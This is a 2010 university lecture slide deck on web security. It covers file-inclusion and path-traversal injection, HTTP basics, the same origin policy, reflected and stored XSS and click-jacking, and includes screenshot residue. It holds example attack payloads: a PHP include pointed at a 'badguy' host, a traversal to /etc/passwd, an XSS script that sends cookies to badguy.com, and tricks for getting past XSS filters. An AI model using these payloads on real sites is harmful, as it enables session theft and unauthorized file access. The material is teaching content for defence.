

# **Web Security, Part 2**

**CS 161 - Computer Security**

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**<http://inst.eecs.berkeley.edu/~cs161/>**

**Feb 3, 2010**

With thanks for some  
slides to John Mitchell  
and Giovanni Vigna

# Injection via file inclusion

```
<?php
    $color = 'blue';
    if (isset( $_GET['COLOR'] ) )
        $color = $_GET['COLOR'];
    require( $color . '.php' );
?>
```

2. PHP code  
executed by server

3. Now suppose COLOR=http://badguy/evil  
Or: COLOR=../../../../etc/passwd%00


A form of *directory traversal* (or *path traversal*).

Can also work directly w/ URLs:

e.g.: <http://victim.com/cgi-bin/../../../../../../../../etc/passwd>


(seen every day)

# Basic Structure of Web Traffic



# HTTP Request

Method      Resource      HTTP version      Headers



The diagram illustrates the structure of an HTTP request. It features a light gray rectangular box containing the request text. Above the box, four labels are positioned: 'Method', 'Resource', 'HTTP version', and 'Headers'. Arrows point from 'Method', 'Resource', and 'HTTP version' to the first line of the request. An arrow points from 'Headers' to the subsequent lines. To the left of the box, a large left-facing square bracket groups the header lines. Below the box, two labels with arrows point to the bottom of the box: 'Blank line' and 'Data (if POST; none for GET)'.

```
GET /index.html HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: www.example.com
Referer: http://www.google.com?q=dingbats
```

GET: download data.

POST: upload data.

# HTTP Response

HTTP version      Status code      Reason phrase      Headers

```
HTTP/1.0 200 OK
Date: Sun, 19 Apr 2009 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Content-Type: text/html
Last-Modified: Sat, 18 Apr 2009 17:39:05 GMT
Set-Cookie: session=44eb; path=/servlets
Content-Length: 2543

<HTML> Some data... blah, blah, blah </HTML>
```

Data

***Cookies***

# Web Page Generation

- Can be simple HTML:

```
<HTML>
  <HEAD>
    <TITLE>Test Page</TITLE>
  </HEAD>
  <BODY>
    <H1>Test Page</H1>
    <P> This is a test!</P>
  </BODY>
</HTML>
```

# Web Page Generation

- Or a **program**, say written in *Javascript*:

```
<html  xmlns="http://www.w3.org/1999/xhtml"
      xml:lang="en" lang="en">
<head> <title>Javascript demo page</title>
</head>

<body>
<script type="text/javascript">
var a = 1;
var b = 2;
document.write(a+b) ;
</script> </body> </html>
```

Or what else?  
Java, Flash,  
Active-X, PDF ...



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## Preferences

### Categories:

- Documents
- Full Screen
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- 3D & Multimedia
- Accessibility
- Acrobat.com
- Forms
- Identity
- International
- Internet
- JavaScript**
- Measuring (2D)
- Measuring (3D)
- Measuring (Geo)
- Multimedia (legacy)
- Multimedia Trust (legacy)
- Reading
- Search
- Security
- Security (Enhanced)
- Spelling
- Tracker

### JavaScript

☒ Enable Acrobat JavaScript

### JavaScript Security

☐ Enable menu items JavaScript execution privileges

☒ Enable global object security policy


### JavaScript Debugger

☐ Show console on errors and messages

Cancel

OK





Home / Support /

## TechNote

### Version test for Adobe Flash Player

The SWF movie below displays the specific version of the Adobe Flash Player currently installed and active in your browser. For Flash Player 6 or later, it also tests to see if the debug or shipping version of Flash Player is installed.

Your Player Version: **MAC 9,0,124,0**

Debug Player: **No**

Operating System: **Mac OS 10.4.9**

Video Capable: **Yes**

Audio Capable: **Yes**

Local File I/O Enabled: **Yes**

#### SEARCH SUPPORT

#### DOCUMENT DETAILS

ID: **tn\_15507**

OS: **Mac OS (All)  
Windows (All)**


Browser: **Chrome  
Internet Explorer  
Netscape  
Opera  
Safari  
Firefox**

### Current Flash Player versions


The table below includes the latest Flash Player version information.

Platform	Browser	Player Version
<b>Windows</b>	Internet Explorer	10.0.42.34
<b>Windows</b>	Firefox, Mozilla, Netscape, Opera	10.0.42.34
<b>Macintosh - OSX (PowerPC)</b>	Safari, Firefox, Mozilla, Netscape, Opera	10.0.42.34
<b>Macintosh - OSX (Intel)</b>	Safari, Firefox, Mozilla, Netscape, Opera	10.0.42.34
<b>Linux</b>	Mozilla, Netscape	10.0.42.34
<b>Solaris</b>	Mozilla, Firefox	10.0.42.34


# Structure of Web Traffic, con't



# Structure of Web Traffic, con't



# Browser Windows Interact




How to control just what they're allowed to do?

# Same Origin Policy

- Every frame in a browser window has a domain
  - Domain = <server, protocol, port> from which the frame content was downloaded
    - Server = `example.com`, protocol = HTTP (maybe HTTPS)
- Code downloaded in a frame can only access resources associated with that domain
  - Access = read and **modify** values, including page *contents*
- If frame explicitly includes external code, it executes within the frame domain even if from another host

```
<script type="text/javascript"> // Downloaded from foo.com
    src="http://www.bar.com/scripts/script.js">
    // Executes as if it were from foo.com
</script>
```

# Cross-Site Scripting (XSS)



# The Setup

- User input is echoed into HTML response.
- Example: search field
  - <http://victim.com/search.php> ? term = apple
  - search.php responds with:

```
<HTML>      <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>    </HTML>
```

- Is this exploitable?

# Injection Via Bad Input

- Consider link: (properly URL encoded)


```
http://victim.com/search.php ? term =  
<script> window.open(  
    "http://badguy.com?cookie = " +  
    document.cookie ) </script>
```

What if user clicks on this link?

- 1) Browser goes to victim.com/search.php
- 2) victim.com returns  
    <HTML> Results for <script> ... </script> ...
- 3) Browser executes script *in same origin* as victim.com  
    Sends badguy.com cookie for victim.com  
    Or any other **arbitrary execution / rewrite victim.com page !**




# Stored Cross-Site Scripting



# Stored XSS Example: MySpace.com

- Users can post HTML on their pages
- MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript: //>`
- ... but can do Javascript within CSS tags:  
`<div style="background:url(' javascript:alert(1) ')">`
- ... and can hide `"javascript"` as `"java\\nscript"`



Server Patsy/Victim

Run arbitrary code in  
full MySpace context



User Victim



Exfiltrate data to attacker and/or  
make arb. MySpace changes

# Protecting Servers Against XSS (OWASP)

- OWASP = *Open Web Application Security Project*
- The best way to protect against XSS attacks:

Use  
White-  
listing

- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be *allowed*.

Beware  
Black-  
listing

- Do *not* attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
- We [= OWASP] strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

*Client-side?*

# Attacks on User *Volition*

- Browser assumes clicks & keystrokes = *clear indication of what the user wants to do*
  - Constitutes part of the user's *trusted path*
- Attack #1: commandeer the focus of user-input
- Attack #2: mislead the user regarding true focus (“**click-jacking**”)



SEPTEMBER 14, 2009

## **New York Times tricked into serving scareware ad**

**Fake Vonage ad was placed to the newspaper's Digital Advertising group**

article, he performed an analysis of the site and discovered that the Times was allowing advertisers to embed an HTML element known as an iframe into their advertisements. This gave the criminals a way to include embedded Web pages in their copy that could be hosted on a completely different server, outside of the control of the Times.

Apparently the scammers waited until the weekend, when it would be hardest for IT staff to respond, before switching the ad by inserting new JavaScript code into that iframe.

Adblock Plus :: Add-ons for Firefox

Mozilla Corporation (US)

https://addons.mozilla.org/en-US/firefox/addon/1865

Google

Most VisitedGetting StartedLatest HeadlinesNY TimesGoogle NewsDailyWeather294UnitedTrafficPapersUS9IMCCSET

Adblock Plus :: Add-ons for Firefox

mozilla

Register or Log inOther Applications

Add-ons for Firefox

Categories

search for add-ons

within

all add-ons

Advanced

Add-ons for Firefox

ABP

# Adblock Plus 1.1.3

by [Wladimir Palant](#)

Save Image As...  
Send Image...  
Set As Desktop Background...  
Properties  
Adblock Image...  
State: MD

Share this Add-on

Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them.

For a quick overview watch <http://www.youtube.com/watch?v=oNvb2SjVjil>

+

Add to Firefox

recommended

Version 1.1.3

See All Privacy & Security Add-ons

Other add-ons by [Wladimir Palant](#)


Adblock Plus

Need help with this add-on?

Visit the support site

Done

# Why Does Firefox Make You Wait?



... to keep you from being tricked into clicking!



# Click-Jacking

- Demo #1: you think you're typing to a familiar app and you're not
  - E.g., <http://imchris.org/files/transparent-ff.html>
- Demo #2: you don't think you're typing to a familiar app but you are
  - E.g., <http://samy.pl/quickjack/twitter.html>  
(note, doesn't quite work)
- Demo #3: you're living in *The Matrix*



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# Flash Player Help

## Global Security Settings panel

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
Settings Manager

- Global Privacy Settings Panel
- Global Storage Settings Panel
- Global Security Settings Panel
- Global Notifications Settings Panel
- Website Privacy Settings Panel
- Website Storage Settings Panel

Display Settings


Local Storage Settings

Microphone Settings



Let's click here!

# “Browser in Browser”



Apparent browser is generated by script running in real browser!

# XSS In General Terms

- XSS vulnerability = attacker can inject scripting code into pages generated by a web app
- Methods for injecting malicious code:
  - Reflected XSS
    - attack script reflected back to user as part of a page from the victim site
  - Stored XSS
    - attacker stores malicious code in a resource managed by the web app, such as a database
  - (DOM-based: injected script is just part of a web page's document attributes)